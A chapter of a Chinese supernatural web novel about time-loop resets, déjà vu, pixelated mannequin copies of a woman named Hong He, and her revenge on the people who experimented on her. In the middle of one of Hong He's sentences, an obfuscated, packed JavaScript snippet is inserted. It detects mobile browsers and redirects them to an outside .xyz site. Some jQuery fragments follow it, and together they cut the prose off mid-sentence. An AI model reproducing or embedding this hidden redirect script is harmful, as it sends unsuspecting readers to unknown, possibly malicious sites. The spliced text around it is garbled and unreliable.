【拨正轮回】:以唯一结局为目标,能力发动后可在抵达真正结局前进行无限次轮回拨正。轮回次数越多,轮回即视感越强,生命消耗越多,以自身血肉为结局孵化器,无数选择之下,灵魂将通往唯一的安息之路。
***
奚渚觉得眼前的一切都有种莫名的熟悉感,但具体是哪里,她却一时间说不上来。
身前身后仍旧相伴着几个陌生人。
一个中年领路人,一对胆小的情侣和一个思绪游离的老奶奶。
几人表情都有一丝奇怪的僵硬。
依旧是无数晾衣杆横斜的流浪地界,依旧是远处看不清模样的光屁-股小孩儿正在大喊,依旧是不知道为什么分外熟悉的语气与对话,领路人侃侃而谈之后,奚渚瞬间有了脱口而出的欲-望。
“这些小孩没人管,父母都在厂里上班,他们就喜欢到处乱窜。”奚渚遥望着那些矮小的黑影,一边走一边伸手拽住了前面的白央,她在红荷的一脸惊讶中指着前面的拐角,“我们会在那儿拐弯。”
白央默契地停下步伐,脱口而出,“接下来会起大雾。”
二人对视一眼,诡异的氛围开始酝酿,不知道是疑心作祟,还是周围真的扭曲开来,原本还能看清长相的领路人突然开始僵化,整个人像是被上了发条般细微的抽搐着。
白央伸出手拦在奚渚身前,不仅仅是引路人,二人周围的小情侣也不正常起来,一顿一顿,一卡一卡,面前的一切变成了某种劣质影像,自双脚开始过渡,无数细碎的像素图案笼罩在了那几人身上。
“怎么回事儿?”奚渚背靠白央,她正盯着那个半截身子变成了像素模型的老奶奶。
奇怪的劣质像素人模,让奚渚回忆起了老旧商场中蒙尘的试衣模特,它们没有脸没有身份,只存在着一个空壳身体。
明明刚才还可以跟她们正常交流,到底是为什么?
“模型?”奚渚说:“刚才一定出现了什么突发-情况,从而导致这些人变成了这幅模样。一触发就损毁,倒像是碰到某些关键词就立刻崩坏的东西。”
“突发-情况?如果这么说的话,刚才唯一奇怪的事情就是你抢先说出了引路人应该说的话。”白央分析道:“如果现在的情况是因为我们抢答了某些‘台词’的话,那么只能说明你我二人都有的既视感不是假的,如果再大胆一些,是否可以推断这或许是感染物的能力。”
奚渚沉吟片刻,白央说的有道理。
一个人出现本不应该有的既视感确实很奇怪,那么当两个人都同样拥有了某些既视感时,那这一定就不是巧合了。
“第一个问题,这些既视感的作用是什么?”白央的机械手伸到了其中一个像素人偶身上,她的整只手直接穿了过去,拥有实体的形状,但却像泡沫一样虚幻,“如果是为了解决我们,对方根本无需做这些动作,掩藏气息才是最好的选择。那么只剩下第二种可能,那就是对方做这些不是为了杀我们,而是为了让我们通过既视感预知危险,从而达成某些目标。”
奚渚有些惊讶地抬起头来,她和白央现在是第二次出任务,在上一次学校任务中,白央扮演的角色是监管者,大部分情况需要奚渚进行单独决断。
但是,这次的旅馆任务是二人共同选择的,白央并不打算隐藏任何想法,而且这些推断与奚渚的想法不谋而合。
“第二。”奚渚继续理顺思维,“既然这些人都是某种像素影像变出来的模型,那么这些模型又是谁搞的?所以我认为感染区内至少存在两种能力,而且或许更多。”
奚渚脑内的感知十分微弱,她无法判断感染物是否和自己一样同时拥有多种异能,所以只能以最普遍的结论来推测,尽可能地全面分析道,“四人中的其中三个在悬车上就跟你和我有了接触,当时她们的表现一切正常,而另一个引路人则是下车之后才碰到的。四人均是被提前设定好的,但是那头催眠感染物并没有任何奇怪的反应,如果它们是一伙儿的,即使隐瞒身份,也一定会在某些细微之处串通一气,但是悬车全程,那只催眠感染物对车上其他人都没有任何反应。”
白央点了点头,
“所以,是否可以推断车上那头和这里的感染物不是一伙的。”奚渚缓缓开口,“当然,一切都只是推测,想要确定真正的答案,就必须......”
奚渚伸出一只手,指着远处,周围正如白央所说,已经起了浓雾,凡是所有能远望到的破旧建筑都被统统蒙在了一片灰暗中,整个世界都氤氲成了一副寂静的影像。
“找到目的地。”白央接过奚渚的话音,简单得出二人现在首先需要做的事情。
奚渚脱口而出,“前边拐弯之后,只要按着那条路笔直地走下去就好。”
白央转身,轻笑了一声,“既视感?”
奚渚挑挑眉,“没错,既视感。”
“好,沿着这条路笔直地前进。”白央说:“而且我总觉得这次不要分头行动比较好。”
浓雾围将而来,整个流浪区已经丢失了方向,完全分不清来路与去路的二人,在能见度不到三米的浓雾中按照某种直觉朝着深处进发,四个像素模型被她们丢在身后,不到几秒,一切都消失不见了。
或许是一股不该出现的想法,也或许是不该脱口而出的“台词”,即使是如此细微的不同选择,也会造成巨大的蝴蝶效应。
在浓雾中迷失方向的二人,正在新的轮回线上有条不紊地行进着。
***
旅馆周围。
红荷活动了一下全身的关节,右腿似乎并没有恢复到最好的状态。
她浑浊的双眼朝下瞥了一眼,几乎没有任何犹豫地直接掰断了右腿。
如果旧的不好用,只需要再孵化出新的就好了。
一双崭新的昆虫腿被立刻孵化出来,肌肉虬结,上面布满了一根根尖刺的毛须。
不论是人类的半边身体,还是感染物的半边身体,都已经恢复的差不多了,那些被孵化出来的像素模型的气息已经完全消失,红荷不觉得有什么奇怪之处。
因为那些模型都是她自己。
被孵化出来的过去的一个个自己。
一个人怎么可能对过去的自己陌生呢?
奚渚一定察觉到了异常,她们的下一个目标一定是旅馆,距离她们找到旅馆应该还有三十分钟的时间。
红荷盯着距离她仅有三米的硕大旅馆,深深吐-出一口气。
轰隆!
一幢两层楼之高的旅馆被囫囵抬起,十分轻松地扛到了红荷肩膀上。
人类的半身因为无法支撑如此强的重量,正在频繁抽搐,整个左腿陷进了地里,但感染物的半身却可以挺立起来,直接承担掉大部分重量,轻易地将这座楼扛起来。
一步一步,缓慢且决绝的步伐,红荷沉默地迈向幸福旅馆应该存在的角落。
五分钟,就能扛过去。红荷心中正在默默倒数,黑袍人仍然僵硬在远处,等一切都准备好了的时候,她们才会作为真正的主角粉末登场。
没有既视感,没有抽离感,黑袍人将瞬间回到她们最开始出现的位置,一切就好像被按下了倒放键,在劣质的黑白影像中重新开始。
“你说对吧,老朋友。”红荷的声音仿佛磨砂纸,沙哑到了极致。
方块电视从旅馆内部蹦出来,崭新的它被重新孵化,漆黑的屏幕盯着苍老的红荷,一串串像素自角落开始集中。
一个笑的更加灿烂的笑脸出现。
“再次见到我你很高兴啊,电视。”红荷的声音一卡一卡的,她说的很不流利。
电视的屏幕映出了红荷,它立刻转头,映出了另一个一直跟在最后的落寞身影。
红荷停下脚步,“招财,好久不见。”
无头招财猫愣了一下,它顿时手足无措起来,电视走到它身边,露出笑脸。
招财猫立刻放松下来,它一双稳固的手臂将电视扛到身上,紧赶慢赶立刻追上了红荷。
“不要自责,你吸收了白央,自然就想要一直接近她,但是这一次不妨换一种方式来告诉她二楼的线索。”红荷慢慢道,招财一直接近白央不是为了别的,而是为了告诉她二楼有人正在埋伏,目的单纯,但大概是用力过猛。
她看了一圈老朋友们,也是,毕竟它们都多长时间没有接触过活人了,就连最起码的打招呼也容易变成大惊吓。
“只有这一次机会了,最后一次,我一定要杀了她。”红荷的声音不大,但她周围那些奇怪的活物却全听进去了。
它们沉默不语,一时间气氛落寞开来。
“只要献祭的够多,轮回拨正的能力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273409|176216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将越强,只有这样,一切不合理的东西才会被淡化,所有的角色都将朝着唯一的结局前进,被轮回拨正能力标记了的目标物才会万无一失的死在这里!”红荷喃喃自语,她等这一天很久了,久到她开始麻木开始频频出现幻觉。
无数个她被孵化出来,她一开始以为自己疯了。
那些蛾子一只只的变成了过去的她,那些和她长得一模一样的人,空有一副壳子,做着某些刻板动作,时间一到,它们就会消失。
“我那时候是这个样子吗?真年轻。”
“那是刚来流浪区的我,当时竟然还想要给那个蛀虫男人做贤妻良母。”
“开店了,那时候我力大如牛,别人常常笑话我,说我没有女人模样,我心里总是嗤之以鼻,力气大多好啊,简直是超能力,可以天不怕地不怕......”
“换成高领上衣了,你很疼吧?那些伤疤。”
“多吃点啊!为什么不还手,你的大力气呢,红荷,要对着打你的人使出来啊。”
“好憔悴的你,裹着围裙,躲在厨房。”
“一根长长的麻绳,挂在那里,你正在比划着,红荷,要苟延残喘地活下去啊。”
“你的脸怎么了?那时候好像被重物打了,红荷,要赶快找到绷带,在电视旁边,要赶快找到包扎好。”
“密密麻麻的针管洒落在地,你已经没了任何力气,你察觉到每天都有人在观察记录你了,对吧红荷。”
“你的模样开始变形,半个身体奇怪地扭曲着,你突然意识到那个男人已经很久不曾现身,但那些黑袍人却如影随形。”
“你成了任人宰割的实验品,那些人还在不断加大剂量,你能察觉到她们很失望,似乎是如此庞大的剂量之下,你竟然还是那么平平无奇,简直是浪费。”
无数个过去的自己被同时孵化出来,简直就像走马灯出现在现实世界,红荷往往会盯着“自己们”看一天一-夜,彻夜不眠,她仔细体会着过去的每一个动作,每一句闲话,每一次呼吸。
如果能和过去无助的自己感同身受,如果能在别的时空重新走一遍过去,那么是否在另外一条时间线上她会不那么孤单,不那么孤立无援,不那么想死。
电视活了,招财猫活了,旅馆活了,红荷周围的一切都活了。
老朋友们齐聚一堂,过去不曾有的美好和幸福被重新复刻,她可以不断拨正过去的一切,红荷恍然大悟,这是她的能力,是那些黑袍人渴望的能力。
那些黑袍人早已消失不见,她们不想浪费心思在一个孵化不出果实的失败实验品身上。
但是,红荷却想要找到那些人。
但她没有任何线索,于是只能不断轮回到她变成感染物的那段日子,即使头发掉光牙齿脱落也不重要,即使身体在持续衰老也无所谓。
一帧一帧,一秒一秒,红荷通过一切蛛丝马迹判断着她们的行踪。
直到红荷踏出旅馆的瞬间,她才惊觉原来困住她一辈子的小小旅馆,竟然只需要轻轻地向前迈一步就可以解脱。
她告别了电视,招财和屋子,告别这些奇怪的活物,告诉它们她会去找到那些将她变成这幅样子的人,或许会很久,或许她会死在外面,但这一切都值得。
她终于找到了继续活下去的意义,不为任何人,只为自己心中那团汹汹燃烧的烈火。
活着的旅馆被红荷放置到原位,招财猫重新站到前台后,三四个电视坐落到各个角落,蛾子们回归原位,水滴声渐渐消失,一切都安静下来,像是电影开拍前的寂静。
那扇破损的旅馆门被缓缓阖上,透过缝隙,男老板的影像出现在前台,红荷双目沉静,她转身朝不远处走去,接下来是她的选择,她的轮回。
一个女人,一个垂垂老矣的女人,她迫切的最终欲-望,绝不是为了别的任何人,一定是为了自己。红荷不再隐忍任何痛苦,任何软弱,任何无能为力,任何对女人的规训,她天生力气大,天生头脑聪明,懂得坚持不懈,善用强大能力。既然那扇困住她的枷锁之门已经被如此轻易地迈出,那么任何东西都无法再阻挡她的欲-望,无数走马灯正凝视着红荷,无数过去的她不曾阖眼,如果一切轮回的收束是为了此刻,红荷握紧了双拳,她不会有任何退缩,这里是她的主场,“开始吧,我们最终的谢幕剧。”